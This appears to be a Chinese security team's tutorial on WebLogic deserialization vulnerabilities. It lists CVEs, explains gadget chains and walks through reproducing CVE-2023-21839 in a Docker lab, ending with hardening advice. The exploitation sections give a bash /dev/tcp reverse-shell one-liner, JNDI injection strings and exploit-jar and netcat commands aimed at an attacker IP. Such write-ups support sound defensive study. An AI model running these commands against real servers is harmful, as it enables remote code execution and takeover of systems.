Weblogic反序列化漏洞

由 晨星运营组 发布

Weblogic反序列化漏洞

Weblogic介绍Weblogic介绍

  • 定义:Oracle公司推出的企业级Java EE应用服务器。
  • 用途:用于开发、部署和管理分布式大型Web应用、网络应用和数据库应用。
  • 特点:高可靠性、可扩展性、符合Java EE标准。
  • 风险:广泛使用使其成为攻击者重点目标,反序列化漏洞尤为高危。

常用端口常用端口

  • Web控制台:7001(HTTP),7002 (HTTPS)-最常用
  • T3协议(Java RMI):7001(通常复用Web端口)
  • Node Manager:5556
  • Admin Server(安全端口):9002

历史反序列化漏洞(部分关键CVE)

CVE编号 组件/协议 主要影响版本 简述
CVE-2015-4852 Commons Collections 10.3.6.0,12.1.2.0,12.1.3.0 首个广泛利用的Apache Commons Collections反序列化漏洞
CVE-2016-0638 T3协议 10.3.6.0,12.1.3.0 绕过CVE-2015-4852补丁,新的利用链
CVE-2016-3510 T3协议 10.3.6.0,12.1.3.0,12.2.1.0 另一个Commons Collections利用链
CVE-2017-3248 RMI通信 10.3.6.0,12.1.3.0,12.2.1.0 影响JRMP协议
CVE-2018-2628 T3协议 10.3.6.0,12.1.3.0,12.2.1.2 影响广泛的T3协议反序列化漏洞
CVE-2018-2893 Web Services 12.1.3.0,12.2.1.2,12.2.1.3 通过WLS-WebServices组件触发反序列化
CVE-2019-2725 Web Services 10.3.6.0,12.1.3.0 CVE-2019-2729的绕过,影响AsyncResponseService
CVE-2020-2555 IIOP协议 10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4 Coherence组件反序列化漏洞
CVE-2020-2883 IIOP协议 10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4 CVE-2020-2555的绕过
CVE-2020-14645 Coherence组件 12.2.1.3.0,12.2.1.4.0,14.1.1.0.0 又一个Coherence反序列化漏洞 (Gadget不同)
CVE-2021-2394 Coherence组件 12.2.1.3.0,12.2.1.4.0,14.1.1.0.0 Oracle Coherence 库反序列化漏洞
CVE-2023-21839 IIOP/T3 12.2.1.3.0,12.2.1.4.0,14.1.1.0.0 新的绕过链,影响广泛

漏洞原理

1. 序列化/反序列化基础

  • 序列化:将Java对象转换为字节流的过程(ObjectOutputStream)

  • 反序列化:将字节流还原为Java对象的过程(ObjectInputStream)

  • 核心风险:Java 反序列化时会自动执行对象的 readObject() 方法

2. 漏洞产生原因

// 典型漏洞代码结构
try (ObjectInputStream ois = new ObjectInputStream(inputStream)) {    
    Object obj = ois.readObject();  // 危险点:未经验证直接反序列化    
    // ... 处理对象 ...
}
## 漏洞利用 

### 1. Dnslog 探测 (无回显漏洞验证)    
    原理:利用漏洞触发目标服务器发起DNS查询,查询域名指向攻击者控制的DNSLog平台。成功收到DNS查询记录即证明漏洞存在。    
    步骤:    
      1.获取一个临时DNSLog域名 (如 `xxxxxx.dnslog.cn`)。    
      2.构造恶意序列化数据 (Payload),其中嵌入一个指向该子域名的地址 (如 `http://test.xxxxxx.dnslog.cn` 或 `rmi://test.xxxxxx.dnslog.cn/Exploit`)。    
      3.将Payload发送给目标Weblogic服务器的脆弱端点 (如T3端口7001, IIOP端口, WLS-WebServices路径)。    
      4.监视DNSLog平台。若出现 `test.xxxxxx.dnslog.cn` 的查询记录,则漏洞很可能存在。     
    优点:快速、隐蔽、无需直接回显。     
    工具:       
      DNSLog平台 (公开或自建)        
      ysoserial (生成Payload)       
      Burp Suite (发送Payload)       
      专用漏洞探测工具 (如nuclei, pocsuite3, exp脚本)       

### 2. 反弹Shell/JNDI注入利用    
    原理:利用反序列化漏洞触发目标服务器执行恶意代码,实现命令执行。    
    主要方式:        
      传统反序列化Gadget链+命令执行:          
        使用工具 (如 `ysoserial`) 生成包含OS命令执行代码的序列化Payload (常用链: CommonsCollections, Groovy, Jdk7u21, C3P0等)。          
        命令通常是 `/bin/bash -c` 或 `cmd.exe /c` 执行反弹shell命令。          
        将Payload发送到脆弱端点触发。        
      JNDI注入:          
        原理:利用漏洞触发目标服务器向攻击者控制的恶意JNDI服务 (RMI/LDAP) 发起查询,加载并执行远程恶意类。          
        步骤:          
          1.启动恶意RMI/LDAP服务 (工具: `marshalsec`, `JNDIExploit`)。指定加载的恶意类URL (通常是一个HTTP服务器上的 `.class` 文件)。          
          2.在HTTP服务器放置编译好的恶意Java类 (内容通常是执行系统命令或反弹shell)。          
          3.构造Payload:JNDI注入字符串 (如 `rmi://attacker-ip:1099/Exploit`, `ldap://attacker-ip:1389/Exploit`)。          
          4.将Payload发送到目标Weblogic脆弱端点触发。          
          5.目标连接恶意JNDI服务->服务返回指向HTTP恶意类的引用->目标下载并执行恶意类->攻击者获取反弹shell或执行命令。          
        优点:更灵活,恶意代码在外部服务器,便于更新;常用于绕过黑名单。    
    反弹Shell命令示例 (Linux):    
    bash    
    bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1
  • 工具:

ysoserial(生成传统Gadget Payload)

marshalsec,JNDIExploit(启动恶意RMI/LDAP服务)

nc(netcat,监听反弹shell)

SimpleHTTPServer(Python,托管恶意类文件)

3. Gadget链利用机制

入口类(Sink): 包含危险方法(如Runtime.exec())的类

连接器(Chain): 通过反射/动态代理连接多个类

触发点(Source):实现readObject()的类(如AnnotationInvocationHandler)

漏洞复现

CVE-2023-21839复现
工具

  • JNDIExploit-1.2-SNAPSHOT.jar
  • Weblogic-CVE-2023-21839.jar
  • dnslog

复现
1. DNSLOG探测

docker搭建好靶场以后访问

生成一个dnslog域名,使用Weblogic-CVE-2023-21839.jar,发送请求刷新dnslog查看

java -jar Weblogic-CVE-2023-21839.jar xxx http://x9qypc.dnslog.cn

2.反弹shell

攻击机使用nc监听端口

nc -lvvp 2546

在攻击机使用JNDIExploit-1.2-SNAPSHOT.jar打开ldap和http协议并监听

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i xxx

攻击机使用Weblogic-CVE-2023-21839.jar进行攻击

java -jar Weblogic-CVE-2023-21839.jar 目标ip:端口 ldap://攻击ip:1389/Basic/ReverseShell/攻击ip/监听端口

成功反弹shell

防御建议

1.及时更新补丁:关注Oracle季度关键补丁更新 (CPU),第一时间修补漏洞。

2.控制网络访问:

  • 限制访问Weblogic控制台的IP(仅限管理网段)。
  • 在外网防火墙阻断T3(t3, t3s),IIOP协议端口访问。
  • 禁用不必要的协议(如T3,IIOP)或配置安全通道。

3.安全配置:

  • 修改默认端口(非7001)。
  • 使用强密码,避免弱口令。
  • 限制Web Services等组件的匿名访问。

4.运行加固:

  • 使用最小权限运行Weblogic进程(非root)。
  • 部署安全产品(WAF,RASP)监控和阻断反序列化攻击流量。

5.移除危险库:在安全测试后,考虑移除存在Gadget的危险库(如Commons-Collections旧版本)。谨慎操作,需测试兼容性。

6.流量审计:监控T3,IIOP,HTTP等协议流量中的异常序列化数据。

作者:晨星安全团队——1nt ma1n


0条评论

发表评论